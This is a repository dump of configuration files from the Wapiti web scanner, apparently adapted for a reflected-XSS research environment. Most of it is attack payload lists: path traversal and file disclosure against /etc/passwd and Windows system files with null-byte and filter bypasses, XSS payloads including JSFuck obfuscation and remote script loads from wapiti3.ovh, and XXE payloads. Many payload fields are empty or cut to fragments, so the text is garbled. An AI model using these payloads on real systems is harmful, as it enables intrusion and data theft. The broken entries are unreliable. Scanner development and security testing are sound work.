Unix local file disclosure vulnerability 39 | 40 | [local_unix_services_with_null] 41 | payload = /etc/services\0 42 | rules = Network services, Internet style 43 | RFC6335 44 | messages = Unix local file disclosure vulnerability 45 | Unix local file disclosure vulnerability 46 | 47 | [local_windows_backslash] 48 | payload = C:\Windows\System32\drivers\etc\services 49 | rules = defined by IANA 50 | messages = Windows local file disclosure vulnerability 51 | 52 | [local_windows_backslash_with_null] 53 | payload = C:\Windows\System32\drivers\etc\services\0 54 | rules = defined by IANA 55 | messages = Windows local file disclosure vulnerability 56 | 57 | [local_windows_backslash_with_ads] 58 | payload = C:\Windows\System32\drivers\etc\services::$DATA 59 | rules = defined by IANA 60 | messages = Windows local file disclosure vulnerability 61 | 62 | [local_windows_slash] 63 | payload = C:/Windows/System32/drivers/etc/services 64 | rules = defined by IANA 65 | messages = Windows local file disclosure vulnerability 66 | 67 | [local_windows_slash_with_null] 68 | payload = C:/Windows/System32/drivers/etc/services\0 69 | rules = defined by IANA 70 | messages = Windows local file disclosure vulnerability 71 | 72 | [local_windows_slash_with_ads] 73 | payload = C:/Windows/System32/drivers/etc/services::$DATA 74 | rules = defined by IANA 75 | messages = Windows local file disclosure vulnerability 76 | 77 | [local_unix_ten_up] 78 | payload = ../../../../../../../../../../lib/ 79 | rules = libc.so. 80 | messages = Unix Directory traversal vulnerability 81 | 82 | [local_windows_ten_up] 83 | payload = ../../../../../../../../../../windows/ 84 | rules = notepad.exe 85 | messages = Windows Directory traversal vulnerability 86 | 87 | [local_passwd_ten_up] 88 | payload = ../../../../../../../../../../etc/passwd 89 | rules = root:x:0:0 90 | root:*:0:0 91 | messages = Linux local file disclosure vulnerability 92 | BSD local file disclosure vulnerability 93 | 94 | [local_passwd_twenty_up] 95 | payload = ../../../../../../../../../../../../../../../../../../../../etc/passwd 96 | rules = root:x:0:0 97 | root:*:0:0 98 | messages = Linux local file disclosure vulnerability 99 | BSD local file disclosure vulnerability 100 | 101 | [local_passwd_ten_up_with_null] 102 | payload = ../../../../../../../../../../etc/passwd\0 103 | rules = root:x:0:0 104 | root:*:0:0 105 | messages = Linux local file disclosure vulnerability 106 | BSD local file disclosure vulnerability 107 | 108 | [local_passwd_twenty_up_with_null] 109 | payload = ../../../../../../../../../../../../../../../../../../../../etc/passwd\0 110 | rules = root:x:0:0 111 | root:*:0:0 112 | messages = Linux local file disclosure vulnerability 113 | BSD local file disclosure vulnerability 114 | 115 | [local_unix_services_ten_up] 116 | payload = ../../../../../../../../../../etc/services 117 | rules = Network services, Internet style 118 | RFC6335 119 | messages = Unix local file disclosure vulnerability 120 | Unix local file disclosure vulnerability 121 | 122 | [local_unix_services_twenty_up] 123 | payload = ../../../../../../../../../../../../../../../../../../../../etc/services 124 | rules = Network services, Internet style 125 | RFC6335 126 | messages = Unix local file disclosure vulnerability 127 | Unix local file disclosure vulnerability 128 | 129 | [local_unix_services_ten_up_with_null] 130 | payload = ../../../../../../../../../../etc/services\0 131 | rules = Network services, Internet style 132 | RFC6335 133 | messages = Unix local file disclosure vulnerability 134 | Unix local file disclosure vulnerability 135 | 136 | [local_unix_services_twenty_up_with_null] 137 | payload = ../../../../../../../../../../../../../../../../../../../../etc/services\0 138 | rules = Network services, Internet style 139 | RFC6335 140 | messages = Unix local file disclosure vulnerability 141 | Unix local file disclosure vulnerability 142 | 143 | [local_windows_slash_ten_up] 144 | payload = ../../../../../../../../../../Windows/System32/drivers/etc/services 145 | rules = defined by IANA 146 | messages = Windows local file disclosure vulnerability 147 | 148 | [local_windows_slash_twenty_up] 149 | payload = ../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services 150 | rules = defined by IANA 151 | messages = Windows local file disclosure vulnerability 152 | 153 | [local_windows_slash_ten_up_with_null] 154 | payload = ../../../../../../../../../../Windows/System32/drivers/etc/services\0 155 | rules = defined by IANA 156 | messages = Windows local file disclosure vulnerability 157 | 158 | [local_windows_slash_twenty_up_with_null] 159 | payload = ../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services\0 160 | rules = defined by IANA 161 | messages = Windows local file disclosure vulnerability 162 | 163 | [local_passwd_starts_with_ten_up] 164 | payload = [VALUE]/../../../../../../../../../../etc/passwd 165 | rules = root:x:0:0 166 | root:*:0:0 167 | messages = Linux local file disclosure vulnerability 168 | BSD local file disclosure vulnerability 169 | 170 | [local_passwd_starts_with_twenty_up] 171 | payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd 172 | rules = root:x:0:0 173 | root:*:0:0 174 | messages = Linux local file disclosure vulnerability 175 | BSD local file disclosure vulnerability 176 | 177 | [local_passwd_starts_with_ten_up_with_null] 178 | payload = [VALUE]/../../../../../../../../../../etc/passwd\0 179 | rules = root:x:0:0 180 | root:*:0:0 181 | messages = Linux local file disclosure vulnerability 182 | BSD local file disclosure vulnerability 183 | 184 | [local_passwd_starts_with_twenty_up_with_null] 185 | payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0 186 | rules = root:x:0:0 187 | root:*:0:0 188 | messages = Linux local file disclosure vulnerability 189 | BSD local file disclosure vulnerability 190 | 191 | [local_unix_services_starts_with_ten_up] 192 | payload = [VALUE]/../../../../../../../../../../etc/services 193 | rules = Network services, Internet style 194 | RFC6335 195 | messages = Unix local file disclosure vulnerability 196 | Unix local file disclosure vulnerability 197 | 198 | [local_unix_services_starts_with_twenty_up] 199 | payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services 200 | rules = Network services, Internet style 201 | RFC6335 202 | messages = Unix local file disclosure vulnerability 203 | Unix local file disclosure vulnerability 204 | 205 | [local_unix_services_starts_with_ten_up_with_null] 206 | payload = [VALUE]/../../../../../../../../../../etc/services\0 207 | rules = Network services, Internet style 208 | RFC6335 209 | messages = Unix local file disclosure vulnerability 210 | Unix local file disclosure vulnerability 211 | 212 | [local_unix_services_starts_with_twenty_up_with_null] 213 | payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0 214 | rules = Network services, Internet style 215 | RFC6335 216 | messages = Unix local file disclosure vulnerability 217 | Unix local file disclosure vulnerability 218 | 219 | [local_windows_slash_starts_with_ten_up] 220 | payload = [VALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services 221 | rules = defined by IANA 222 | messages = Windows local file disclosure vulnerability 223 | 224 | [local_windows_slash_starts_with_twenty_up] 225 | payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services 226 | rules = defined by IANA 227 | messages = Windows local file disclosure vulnerability 228 | 229 | [local_windows_slash_starts_with_ten_up_with_null] 230 | payload = [VALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services\0 231 | rules = defined by IANA 232 | messages = Windows local file disclosure vulnerability 233 | 234 | [local_windows_slash_starts_with_twenty_up_with_null] 235 | payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services\0 236 | rules = defined by IANA 237 | messages = Windows local file disclosure vulnerability 238 | 239 | [local_passwd_starts_with_dir_ten_up] 240 | payload = [DIRVALUE]/../../../../../../../../../../etc/passwd 241 | rules = root:x:0:0 242 | root:*:0:0 243 | messages = Linux local file disclosure vulnerability 244 | BSD local file disclosure vulnerability 245 | 246 | [local_passwd_starts_with_dir_tewnty_up] 247 | payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd 248 | rules = root:x:0:0 249 | root:*:0:0 250 | messages = Linux local file disclosure vulnerability 251 | BSD local file disclosure vulnerability 252 | 253 | [local_passwd_starts_with_dir_ten_up_with_null] 254 | payload = [DIRVALUE]/../../../../../../../../../../etc/passwd\0 255 | rules = root:x:0:0 256 | root:*:0:0 257 | messages = Linux local file disclosure vulnerability 258 | BSD local file disclosure vulnerability 259 | 260 | [local_passwd_starts_with_dir_twenty_up_with_null] 261 | payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0 262 | rules = root:x:0:0 263 | root:*:0:0 264 | messages = Linux local file disclosure vulnerability 265 | BSD local file disclosure vulnerability 266 | 267 | [local_unix_services_starts_with_dir_ten_up] 268 | payload = [DIRVALUE]/../../../../../../../../../../etc/services 269 | rules = Network services, Internet style 270 | RFC6335 271 | messages = Unix local file disclosure vulnerability 272 | Unix local file disclosure vulnerability 273 | 274 | [local_unix_services_starts_with_dir_twenty_up] 275 | payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services 276 | rules = Network services, Internet style 277 | RFC6335 278 | messages = Unix local file disclosure vulnerability 279 | Unix local file disclosure vulnerability 280 | 281 | [local_unix_services_starts_with_dir_ten_up_with_null] 282 | payload = [DIRVALUE]/../../../../../../../../../../etc/services\0 283 | rules = Network services, Internet style 284 | RFC6335 285 | messages = Unix local file disclosure vulnerability 286 | Unix local file disclosure vulnerability 287 | 288 | [local_unix_services_starts_with_dir_twenty_up_with_null] 289 | payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0 290 | rules = Network services, Internet style 291 | RFC6335 292 | messages = Unix local file disclosure vulnerability 293 | Unix local file disclosure vulnerability 294 | 295 | [local_windows_slash_starts_with_dir_ten_up] 296 | payload = [DIRVALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services 297 | rules = defined by IANA 298 | messages = Windows local file disclosure vulnerability 299 | 300 | [local_windows_slash_starts_with_dir_twenty_up] 301 | payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services 302 | rules = defined by IANA 303 | messages = Windows local file disclosure vulnerability 304 | 305 | [local_windows_slash_starts_with_dir_ten_up_with_null] 306 | payload = [DIRVALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services\0 307 | rules = defined by IANA 308 | messages = Windows local file disclosure vulnerability 309 | 310 | [local_windows_slash_starts_with_dir_twenty_up_with_null] 311 | payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services\0 312 | rules = defined by IANA 313 | messages = Windows local file disclosure vulnerability 314 | 315 | [local_passwd_file_wrapper] 316 | payload = file:///etc/passwd 317 | rules = root:x:0:0 318 | root:*:0:0 319 | messages = Linux local file disclosure vulnerability 320 | BSD local file disclosure vulnerability 321 | 322 | [local_windows_file_wrapper] 323 | payload = file://C:\Windows\System32\drivers\etc\services 324 | rules = defined by IANA 325 | messages = Windows local file disclosure vulnerability 326 | 327 | [local_passwd_bypass_dotdotslash] 328 | payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd 329 | rules = root:x:0:0 330 | root:*:0:0 331 | messages = Linux local file disclosure vulnerability 332 | BSD local file disclosure vulnerability 333 | 334 | [local_passwd_bypass_dotdotslash_with_null] 335 | payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd\0 336 | rules = root:x:0:0 337 | root:*:0:0 338 | messages = Linux local file disclosure vulnerability 339 | BSD local file disclosure vulnerability 340 | 341 | [local_unix_services_bypass_dotdotslash] 342 | payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services 343 | rules = Network services, Internet style 344 | RFC6335 345 | messages = Unix local file disclosure vulnerability 346 | Unix local file disclosure vulnerability 347 | 348 | [local_unix_services_bypass_dotdotslash_with_null] 349 | payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services\0 350 | rules = Network services, Internet style 351 | RFC6335 352 | messages = Unix local file disclosure vulnerability 353 | Unix local file disclosure vulnerability 354 | 355 | [local_windows_bypass_dotdotslash] 356 | payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//Windows/System32/drivers/etc/services 357 | rules = defined by IANA 358 | messages = Windows local file disclosure vulnerability 359 | 360 | [local_windows_bypass_dotdotslash_with_null] 361 | payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//Windows/System32/drivers/etc/services\0 362 | rules = defined by IANA 363 | messages = Windows local file disclosure vulnerability 364 | 365 | [local_passwd_bypass_ext] 366 | payload = /etc/passwd\0.[EXTVALUE] 367 | rules = root:x:0:0 368 | root:*:0:0 369 | messages = Linux local file disclosure vulnerability 370 | BSD local file disclosure vulnerability 371 | 372 | [local_windows_bypass_ext] 373 | payload = c:\Windows\System32\drivers\etc\services\0.[EXTVALUE] 374 | rules = defined by IANA 375 | messages = Windows local file disclosure vulnerability 376 | 377 | [local_passwd_bypass_ext_ten_up] 378 | payload = ../../../../../../../../../../etc/passwd\0.[EXTVALUE] 379 | rules = root:x:0:0 380 | root:*:0:0 381 | messages = Linux local file disclosure vulnerability 382 | BSD local file disclosure vulnerability 383 | 384 | [local_windows_bypass_ext_ten_up] 385 | payload = ../../../../../../../../../../windows/System32/drivers/etc/services\0.[EXTVALUE] 386 | rules = defined by IANA 387 | messages = Windows local file disclosure vulnerability 388 | 389 | [local_current_file] 390 | payload = [FILE_NAME] 391 | rules = 4 | tag = script 5 | attribute = src 6 | value = https://wapiti3.ovh/__XSS__z.js 7 | case_sensitive = no 8 | 9 | [script_protocol_src] 10 | payload = 11 | tag = script 12 | attribute = src 13 | value = //wapiti3.ovh/__XSS__z.js 14 | case_sensitive = no 15 | 16 | [script_alert_quote] 17 | payload = 18 | tag = script 19 | attribute = string 20 | value = alert('__XSS__') 21 | case_sensitive = yes 22 | 23 | [script_alert_double_quote] 24 | payload = 25 | tag = script 26 | attribute = string 27 | value = alert("__XSS__") 28 | case_sensitive = yes 29 | 30 | [script_alert_regex] 31 | payload = 32 | tag = script 33 | attribute = string 34 | value = alert(/__XSS__/) 35 | case_sensitive = yes 36 | 37 | [script_jsfuck_13_plus_37] 38 | payload = 39 | tag = script 40 | attribute = string 41 | value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])() 42 | case_sensitive = no 43 | 44 | [script_fromcharcode] 45 | payload = 46 | tag = script 47 | attribute = string 48 | value = String.fromCharCode(0,__XSS__,1) 49 | case_sensitive = yes 50 | 51 | [script_alert_parentheses_regex] 52 | payload = 53 | tag = script 54 | attribute = string 55 | value = (alert)(/__XSS__/); 56 | case_sensitive = yes 57 | 58 | [img_onerror_alert_double_quote] 59 | payload = 60 | tag = img 61 | attribute = onerror 62 | value = alert("__XSS__") 63 | case_sensitive = yes 64 | 65 | [img_onerror_alert_quote] 66 | payload = 67 | tag = img 68 | attribute = onerror 69 | value = alert('__XSS__') 70 | case_sensitive = yes 71 | 72 | [img_onerror_alert_regex] 73 | payload = 74 | tag = img 75 | attribute = onerror 76 | value = alert(/__XSS__/) 77 | case_sensitive = yes 78 | 79 | [img_onerror_fromcharcode] 80 | payload = 81 | tag = img 82 | attribute = onerror 83 | value = String.fromCharCode(0,__XSS__,1) 84 | case_sensitive = yes 85 | 86 | [object_data_alert_quote] 87 | payload = 88 | tag = object 89 | attribute = data 90 | value = javascript:alert('__XSS__') 91 | case_sensitive = yes 92 | 93 | [object_data_fromcharcode] 94 | payload = 95 | tag = object 96 | attribute = data 97 | value = javascript:String.fromCharCode(0,__XSS__,1) 98 | case_sensitive = yes 99 | 100 | [param_value_alert_quote] 101 | payload = 102 | tag = param 103 | attribute = value 104 | value = javascript:alert('__XSS__') 105 | case_sensitive = yes 106 | 107 | [param_value_alert_double_quote] 108 | payload = 109 | tag = param 110 | attribute = value 111 | value = javascript:alert("__XSS__") 112 | case_sensitive = yes 113 | 114 | [param_value_fromcharcode] 115 | payload = 116 | tag = param 117 | attribute = value 118 | value = javascript:String.fromCharCode(0,__XSS__,1) 119 | case_sensitive = yes 120 | 121 | [iframe_src_javascript] 122 | payload = 123 | tag = iframe 124 | attribute = src 125 | value = javascript:String.fromCharCode(0,__XSS__,1) 126 | case_sensitive = yes 127 | 128 | [frame_src_javascript] 129 | payload = 130 | tag = frame 131 | attribute = src 132 | value = javascript:String.fromCharCode(0,__XSS__,1) 133 | case_sensitive = yes 134 | 135 | 136 | 137 | ; Tricks 138 | [script_slash_absolute_src] 139 | payload = 140 | tag = script 141 | attribute = src 142 | value = https://wapiti3.ovh/__XSS__z.js 143 | case_sensitive = no 144 | 145 | 146 | 147 | ; Those are simple case sensitive bypass 148 | [case_script_alert_quote] 149 | payload = 150 | tag = script 151 | attribute = string 152 | value = alert('__XSS__') 153 | case_sensitive = yes 154 | 155 | [case_script_alert_double_quote] 156 | payload = 157 | tag = script 158 | attribute = string 159 | value = alert("__XSS__") 160 | case_sensitive = yes 161 | 162 | [case_script_alert_regex] 163 | payload = 164 | tag = script 165 | attribute = string 166 | value = alert(/__XSS__/) 167 | case_sensitive = yes 168 | 169 | [case_script_fromcharcode] 170 | payload = 171 | tag = script 172 | attribute = string 173 | value = String.fromCharCode(0,__XSS__,1) 174 | case_sensitive = yes 175 | 176 | [case_script_absolute_src] 177 | payload = 178 | tag = script 179 | attribute = src 180 | value = https://wapiti3.ovh/__XSS__z.js 181 | case_sensitive = no 182 | 183 | [case_script_slash_absolute_src] 184 | payload = 185 | tag = script 186 | attribute = src 187 | value = https://wapiti3.ovh/__XSS__z.js 188 | case_sensitive = no 189 | 190 | [case_script_jsfuck_13_plus_37] 191 | payload = 192 | tag = script 193 | attribute = string 194 | value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])() 195 | case_sensitive = no 196 | 197 | 198 | 199 | ; Try injecting whitespaces... 200 | [tab_script_absolute_src] 201 | payload = 202 | tag = script 203 | attribute = src 204 | value = https://wapiti3.ovh/__XSS__z.js 205 | case_sensitive = no 206 | 207 | [case_tab_script_absolute_src] 208 | payload = 209 | tag = script 210 | attribute = src 211 | value = https://wapiti3.ovh/__XSS__z.js 212 | case_sensitive = no 213 | 214 | [tab_img_onerror_fromcharcode] 215 | payload = 216 | tag = img 217 | attribute = onerror 218 | value = String.fromCharCode(0,__XSS__,1) 219 | case_sensitive = yes 220 | 221 | [space_script_alert_quote] 222 | payload = 223 | tag = script 224 | attribute = string 225 | value = alert('__XSS__') 226 | case_sensitive = yes 227 | 228 | [space_script_alert_double_quote] 229 | payload = 230 | tag = script 231 | attribute = string 232 | value = alert("__XSS__") 233 | case_sensitive = yes 234 | 235 | [space_script_fromcharcode] 236 | payload = 237 | tag = script 238 | attribute = string 239 | value = String.fromCharCode(0,__XSS__,1) 240 | case_sensitive = yes 241 | 242 | [case_space_script_fromcharcode] 243 | payload = 268 | tag = script 269 | attribute = string 270 | value = alert('__XSS__') 271 | case_sensitive = yes 272 | 273 | [script_tag_remove_alert_quote] 274 | payload = ipt>alert('__XSS__')ipt> 275 | tag = script 276 | attribute = string 277 | value = alert('__XSS__') 278 | case_sensitive = yes 279 | 280 | [open_script_tag_remove_alert_double_quote] 281 | payload = ipt>alert("__XSS__") 282 | tag = script 283 | attribute = string 284 | value = alert("__XSS__") 285 | case_sensitive = yes 286 | 287 | [script_tag_remove_alert_double_quote] 288 | payload = ipt>alert("__XSS__")ipt> 289 | tag = script 290 | attribute = string 291 | value = alert("__XSS__") 292 | case_sensitive = yes 293 | 294 | [open_script_tag_remove_fromcharcode] 295 | payload = ipt>String.fromCharCode(0,__XSS__,1) 296 | tag = script 297 | attribute = string 298 | value = String.fromCharCode(0,__XSS__,1) 299 | case_sensitive = yes 300 | 301 | [script_tag_remove_fromcharcode] 302 | payload = ipt>String.fromCharCode(0,__XSS__,1)ipt> 303 | tag = script 304 | attribute = string 305 | value = String.fromCharCode(0,__XSS__,1) 306 | case_sensitive = yes 307 | 308 | [open_script_tag_remove_absolute_src] 309 | payload = ipt src=https://wapiti3.ovh/__XSS__z.js> 310 | tag = script 311 | attribute = src 312 | value = https://wapiti3.ovh/__XSS__z.js 313 | case_sensitive = no 314 | 315 | [script_tag_remove_absolute_src] 316 | payload = ipt src=https://wapiti3.ovh/__XSS__z.js>ipt> 317 | tag = script 318 | attribute = src 319 | value = https://wapiti3.ovh/__XSS__z.js 320 | case_sensitive = no 321 | 322 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/attacks/xxePayloads.ini: -------------------------------------------------------------------------------- 1 | [direct_linux_passwd] 2 | payload = ]>&xxe; 3 | rules = root:x:0: 4 | root:*:0:0 5 | 6 | [direct_linux_networks] 7 | payload = ]>&xxe; 8 | rules = link-local 9 | 10 | [direct_windows_networks] 11 | payload = ]>&xxe; 12 | rules = network name/network number mappings 13 | 14 | [out_of_band_linux_passwd] 15 | payload = [LF][LF]%remote; %intern; %trick; ]>[LF]hello 16 | rules = root:x:0: 17 | root:*:0:0 18 | 19 | [out_of_band_windows_networks] 20 | payload = [LF][LF]%remote; %intern; %trick; ]>[LF]hello 21 | rules = network name/network number mappings 22 | 23 | [out_of_band_linux_networks] 24 | payload = [LF][LF]%remote; %intern; %trick; ]>[LF]hello 25 | rules = link-local -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/de/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/de/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/en/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/en/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/es/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/es/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/fr/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/fr/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/ms/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/ms/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/pt/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/pt/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/language/zh/LC_MESSAGES/wapiti.mo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/config/language/zh/LC_MESSAGES/wapiti.mo -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/reports/generators.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | XML format 5 | xml 6 | xmlreportgenerator 7 | XMLReportGenerator 8 | 9 | 10 | HTML format 11 | html 12 | htmlreportgenerator 13 | HTMLReportGenerator 14 | 15 | 16 | TXT format 17 | txt 18 | txtreportgenerator 19 | TXTReportGenerator 20 | 21 | 22 | VulneraNET format 23 | vulneranet 24 | vulneranetxmlreportgenerator 25 | VulneraNetXMLReportGenerator 26 | 27 | 28 | JSON format 29 | json 30 | jsonreportgenerator 31 | JSONReportGenerator 32 | 33 | 34 | OpenVAS XML format 35 | openvas 36 | openvasreportgenerator 37 | OpenVASReportGenerator 38 | 39 | 40 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/vulnerabilities/anomalies.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Internal server error description 5 | 6 | 7 | 8 | Wikipedia article for 5xx HTTP error codes 9 | https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#5xx_Server_Error 10 | 11 | 12 | 13 | 14 | Resource consumption description 15 | 16 | 17 | 18 | http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification) 19 | http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification) 20 | 21 | 22 | <![CDATA[CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')]]> 23 | http://cwe.mitre.org/data/definitions/400.html 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/vulnerabilities/vulnerabilities.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | SQL Injection description 5 | 6 | 7 | 8 | http://www.owasp.org/index.php/SQL_Injection 9 | http://www.owasp.org/index.php/SQL_Injection 10 | 11 | 12 | http://en.wikipedia.org/wiki/SQL_injection 13 | http://en.wikipedia.org/wiki/SQL_injection 14 | 15 | 16 | <![CDATA[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')]]> 17 | http://cwe.mitre.org/data/definitions/89.html 18 | 19 | 20 | 21 | 22 | Blind SQL Injection description 23 | 24 | 25 | 26 | http://www.owasp.org/index.php/Blind_SQL_Injection 27 | http://www.owasp.org/index.php/Blind_SQL_Injection 28 | 29 | 30 | http://www.imperva.com/resources/adc/blind_sql_server_injection.html 31 | http://www.imperva.com/resources/adc/blind_sql_server_injection.html 32 | 33 | 34 | <![CDATA[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')]]> 35 | http://cwe.mitre.org/data/definitions/89.html 36 | 37 | 38 | 39 | 40 | File Handling description 41 | 42 | 43 | 44 | http://www.owasp.org/index.php/Path_Traversal 45 | http://www.owasp.org/index.php/Path_Traversal 46 | 47 | 48 | http://www.acunetix.com/websitesecurity/directory-traversal.htm 49 | http://www.acunetix.com/websitesecurity/directory-traversal.htm 50 | 51 | 52 | <![CDATA[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')]]> 53 | http://cwe.mitre.org/data/definitions/22.html 54 | 55 | 56 | 57 | 58 | Cross Site Scripting description 59 | 60 | 61 | 62 | http://www.owasp.org/index.php/Cross_Site_Scripting 63 | http://www.owasp.org/index.php/Cross_Site_Scripting 64 | 65 | 66 | http://en.wikipedia.org/wiki/Cross-site_scripting 67 | http://en.wikipedia.org/wiki/Cross-site_scripting 68 | 69 